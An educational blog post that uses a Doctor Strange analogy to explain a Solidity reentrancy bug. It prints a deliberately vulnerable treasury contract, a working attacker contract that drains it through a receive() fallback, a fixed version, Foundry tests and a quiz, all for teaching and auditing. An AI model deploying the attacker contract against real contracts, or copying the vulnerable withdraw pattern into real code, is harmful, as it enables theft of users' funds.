1565 words
8 minutes
Doctor Strange vs Dormammu - Reentrancy Exploit in Solidity (CEI Case Study).

🌀 Doctor Strange vs Dormammu - Reentrancy Exploit Case Study#

TL;DR#

  • Vulnerability: Reentrancy in withdraw() (external call before state update).
  • Impact: An attacker (Doctor Strange, via the Time Stone) can reenter via fallback and drain the Dormammu Treasury.
  • Severity: High
  • Fix: Apply CEI (update state before external calls) and use a reentrancy guard.

🎬 Story Time#

In Doctor Strange (2016), Strange traps Dormammu in an infinite time loop. Just like Strange looping Dormammu until surrender, the receive() loop forces the treasury into repeated withdrawals until drained.

In smart contract security:

  • Dormammu = “timeless treasury” → vulnerable to reentrancy (powerful but careless).
  • Doctor Strange = doesn’t attack directly → he uses the Time Stone.
  • Time Stone (contract) = has the receive() fallback and does the recursive withdraw() calls (the infinite loop).

This mirrors the movie: Strange wins not by force, but by infinite repetition - just like a reentrancy attack.

Actors / Roles#

ActorRole
DormammuTreasuryVulnerablethe treasury (victim).
TimeStonethe attack contract (the magical exploit engine).
DoctorStrange (EOA / test)just a caller who wields the TimeStone.

All Files Available here.#

thesandf
/
thesandf.xyz
Waiting for api.github.com...
00K
0K
0K
Waiting...

Vulnerable Contract#

the DormammuTreasuryVulnerable.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/*
Dormammu (the treasury) holds Ether for citizens and pays a reward on withdraw.
Bug: withdraw() sends Ether before updating the user's balance (CEI violation).
An attacker (Doctor Strange) can reenter withdraw() in their fallback and drain the contract.
*/
contract DormammuTreasuryVulnerable {
mapping(address => uint256) public balanceOf;
/// @notice Alien Citizens deposit to the Dormammu Treasury
function deposit() external payable {
require(msg.value > 0, "zero deposit");
balanceOf[msg.sender] += msg.value;
}
/// @notice Withdraw available balance (vulnerable)
function withdraw() external {
uint256 amount = balanceOf[msg.sender];
require(amount > 0, "no balance");
// 🛑 Vulnerable: external call happens BEFORE state update
(bool sent,) = payable(msg.sender).call{value: amount}("");
require(sent, "send failed");
// state update happens after the external call - attacker can reenter here
balanceOf[msg.sender] = 0;
}
/// @notice Current treasury balance
function treasuryBalance() external view returns (uint256) {
return address(this).balance;
}
}
WARNING

External call happens before state reset. If the recipient is a contract with a receive() or fallback(), it can call withdraw() again before its balance is cleared.


Proof of Exploit#

Attacker = TimeStone.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {DormammuTreasuryVulnerable} from "./DormammuTreasuryVulnerable.sol";
/// @title Doctor Strange attacker (reentrancy).
contract TimeStone {
DormammuTreasuryVulnerable public treasury;
address public owner;
uint256 public rewardAmount;
constructor(address _vuln) {
treasury = DormammuTreasuryVulnerable(_vuln);
owner = msg.sender;
}
/// @notice deposit and start the attack
function attack() external payable {
require(msg.sender == owner, "You're not a Doctor Strange");
require(msg.value > 0, "send ETH to attack");
// deposit small amount to be eligible for withdraw
treasury.deposit{value: msg.value}();
// set single-call baseline reward to attempt
rewardAmount = msg.value;
treasury.withdraw();
}
/// @notice fallback - reenter while the treasury still has funds
receive() external payable {
// while the treasury still has at least `rewardAmount`, reenter withdraw()
// careful: this condition keeps reentering until the treasury is drained or < rewardAmount
if (address(treasury).balance >= rewardAmount) {
treasury.withdraw();
}
}
/// @notice collect stolen funds to owner externally (for test reporting)
function collect() external {
require(msg.sender == owner, "You're not a Doctor Strange");
payable(owner).transfer(address(this).balance);
}
}

🌀 The Attack Flow (Vulnerable)#

  1. Strange Deposits: Doctor Strange deposits 1 ETH into the vulnerable treasury.
  2. Strange Withdraws: Strange calls the withdraw() function on the treasury contract.
  3. Treasury Sends Ether: The treasury sends the 1 ETH to Strange’s contract before updating his balance to zero.
  4. Re-entry: Strange’s contract has a receive() fallback that is triggered by the incoming ETH. This fallback immediately calls the withdraw() function again.
  5. Infinite Loop: Since Strange’s balance was never reset, the treasury sends another 1 ETH. This loop continues until the treasury is empty.

Reentrancy Exploit Flow


Fixed Contract#

DormammuTreasuryFixed.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract DormammuTreasuryFixed is ReentrancyGuard {
6 collapsed lines
mapping(address => uint256) public balanceOf;
function deposit() external payable {
require(msg.value > 0, "zero deposit");
balanceOf[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balanceOf[msg.sender];
require(amount > 0, "no balance");
// Effects first
balanceOf[msg.sender] = 0;
// Then interaction
(bool sent, ) = payable(msg.sender).call{value: amount}("");
require(sent, "send failed");
}
function treasuryBalance() external view returns (uint256) {
return address(this).balance;
}
}

Fixes applied:

  • CEI (update balance before transfer).
  • nonReentrant modifier for extra guard.

Foundry Test (Exploit Reproduction)#

test/ExploitDormammu.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
5 collapsed lines
import {Test} from "forge-std/Test.sol";
import {DormammuTreasuryVulnerable} from "../src/DormammuTreasuryVulnerable.sol";
import {DormammuTreasuryFixed} from "../src/DormammuTreasuryFixed.sol";
import {TimeStone} from "../src/TimeStone.sol";
contract ReentrancyDormammuTest is Test {
DormammuTreasuryVulnerable treasury;
DormammuTreasuryFixed fixedTreasury;
TimeStone stone;
TimeStone timeStoneFixed;
address public Doctor_Strange = makeAddr("Doctor Strange");
function setUp() public {
// Deploy vulnerable and fixed contracts
treasury = new DormammuTreasuryVulnerable();
fixedTreasury = new DormammuTreasuryFixed();
// Fund the Dormammu treasury (other citizens)
vm.deal(address(this), 50 ether);
// send 20 ETH to vulnerable treasury as "Alien citizen deposits"
treasury.deposit{value: 20 ether}();
fixedTreasury.deposit{value: 20 ether}();
// deploy stone and fund it
vm.prank(Doctor_Strange);
stone = new TimeStone(address(treasury));
vm.deal(address(Doctor_Strange), 5 ether);
vm.prank(Doctor_Strange);
timeStoneFixed = new TimeStone(address(fixedTreasury));
}
function test_Strange_Drains_Dormammu_With_TimeStone() public {
// Check initial balances
uint256 initialTreasury = address(treasury).balance;
assertEq(initialTreasury, 20 ether);
// Doctor Strange: Doctor Strange deposits 1 ETH and triggers reentrancy withdraw
vm.prank(Doctor_Strange);
stone.attack{value: 1 ether}();
// After attack collect to track funds in This Contract (optional)
vm.prank(Doctor_Strange);
stone.collect();
// Doctor Strange (via Time Stone) gains more than his initial 1 ETH
// Dormammu Treasury should NOT have its full 20 ETH anymore
uint256 remainingTreasury = address(treasury).balance;
assertLt(remainingTreasury, 20 ether, "Dormammu Treasury should have lost funds due to reentrancy");
}
/// @notice Minimal test reusing vulnerable pattern but targeting fixed contract type
function test_Fixed_Resists_Reentrancy() public {
// Check initial balances
uint256 initialTreasury = address(fixedTreasury).balance;
assertEq(initialTreasury, 20 ether);
// Doctor Strange tries to attack fixed treasury
vm.prank(Doctor_Strange);
vm.expectRevert(); // we EXPECT this to fail
timeStoneFixed.attack{value: 1 ether}();
// Verify treasury still holds full funds
uint256 remainingfixedTreasury = address(fixedTreasury).balance;
assertEq(remainingfixedTreasury, 20 ether, "Fixed treasury should resist reentrancy and keep full funds");
}
}

In test_Fixed_Resists_Reentrancy(), why we expect revert: The reason the test for the fixed contract expects a revert is that the nonReentrant modifier on the withdraw function works exactly as it should.

  1. The attacker’s contract calls withdraw() for the first time. The nonReentrant modifier locks the function.
  2. The attacker’s fallback function is triggered and tries to call withdraw() again.
  3. The nonReentrant modifier sees the function is still locked and immediately reverts the entire transaction.

Auditor’s Checklist#

  • External calls before state updates.
  • Missing nonReentrant.
  • Loops with external calls.
  • No attacker simulation in tests.

Recommendations#

  • Always apply Checks → Effects → Interactions.
  • Use nonReentrant modifiers.
  • Consider pull-payment patterns.
  • Test with attacker contracts in CI pipelines.

References#

  • MCU: Doctor Strange (2016) → loop analogy.
  • Historical hacks:

1. GMX-$40M Reentrancy Exploit (November 4, 2025)#

  • Loss: Approximately $40 million
  • Details: The exploit stemmed from a reentrancy vulnerability in executeDecreaseOrder(). The function accepted smart contract addresses (instead of EOAs), enabling attackers to inject arbitrary reentry logic during callbacks.Medium
  • Relevance to CEI: External interactions were allowed before proper state updates or input validation, violating CEI principles. It underscores that even complex logic like order execution must respect CEI.

2. Penpie (Pendle) - $27M Exploit (September 3, 2024)#

  • Loss: Around $27 million stolen
  • Details: Attackers deployed fake yield-bearing tokens (SY), created malicious pools, and triggered reentrancy to drain rewards. Successfully siphoned $15.7M in one transaction, followed by two more that took $5.6M each.CryptoSlate
  • CEI Breakdown: The exploit shows how reentrancy can be combined with token manipulation-even fake tokens can be used to violate interaction and balance update order.
  • OpenZeppelin’s ReentrancyGuard.

How to Run Locally#

Terminal window
# install Foundry
curl -L https://foundry.paradigm.xyz | bash
foundryup
# clone repo & test
forge test -vv

Challenge: Seal the Dark Dimension Loop!#

Challenge Name: Strange’s Time Loop Defense
Description: Can you trap Dormammu’s reentrancy attack like Doctor Strange? Stop the recursive drain!

  1. Deploy the vulnerable DormammuTreasuryVulnerable.sol on Sepolia testnet (use Remix or Foundry).
  2. Execute the reentrancy attack using a Foundry test to drain funds .
  3. Implement a fix (e.g., OpenZeppelin’s nonReentrant modifier or Checks-Effects-Interactions).
  4. Share your fixed contract’s Sepolia address on X with #TheSandFChallenge and @THE_SANDF.
  5. Bonus: Post a screenshot of your transaction logs!
  6. Top submissions get a chance to join our audit beta program!

Three Quiz Questions to Test Understanding#

  1. What makes DormammuTreasuryVulnerable.sol vulnerable to a reentrancy attack?
    a) Missing multi-signature validation
    b) Incorrect gas limit in the withdraw function
    c) External call to transfer before state update
    d) Public visibility of the deposit function

    Show Answer

    Answer: c) External call to transfer before state update
    Explanation: The withdraw function sends ETH before updating the balance, allowing recursive calls to drain funds.

  2. Which fix prevents Dormammu’s reentrancy attack?
    a) Adding a timelock to withdrawals
    b) Using OpenZeppelin’s nonReentrant modifier
    c) Increasing the contract’s ETH reserves
    d) Requiring a signature for withdrawals

    Show Answer

    Answer: b) Using OpenZeppelin’s nonReentrant modifier
    Explanation: nonReentrant locks the function during execution, preventing recursive calls.

  3. What is the primary impact of a reentrancy attack on DormammuTreasuryVulnerable?
    a) Users pay higher gas fees
    b) The contract’s reserves are frozen
    c) Transactions are reordered in the mempool
    d) The contract’s ETH is drained unexpectedly

    Show Answer

    Answer: d) The contract’s ETH is drained unexpectedly
    Explanation: Dormammu’s recursive calls exploit the withdraw function to steal ETH before balance updates.


NOTE

This repo is an educational minimal reproduction of reentrancy. The MCU analogy (Doctor Strange looping Dormammu) makes the bug memorable, but the exploit reflects real-world $150M+ hacks.


Ready to Battle Bugs?#

Join the Defi CTF Challenge! Audit vulnerable contracts in our Defi CTF Challenges (Full credit to Hans Friese, co-founder of Cyfrin.), submit your report via GitHub Issues/Discussions, or tag @THE_SANDF on X. Let’s secure the Web3 multiverse together! 🏗️ Start the Challenge

All Files Available here.#

thesandf
/
thesandf.xyz
Waiting for api.github.com...
00K
0K
0K
Waiting...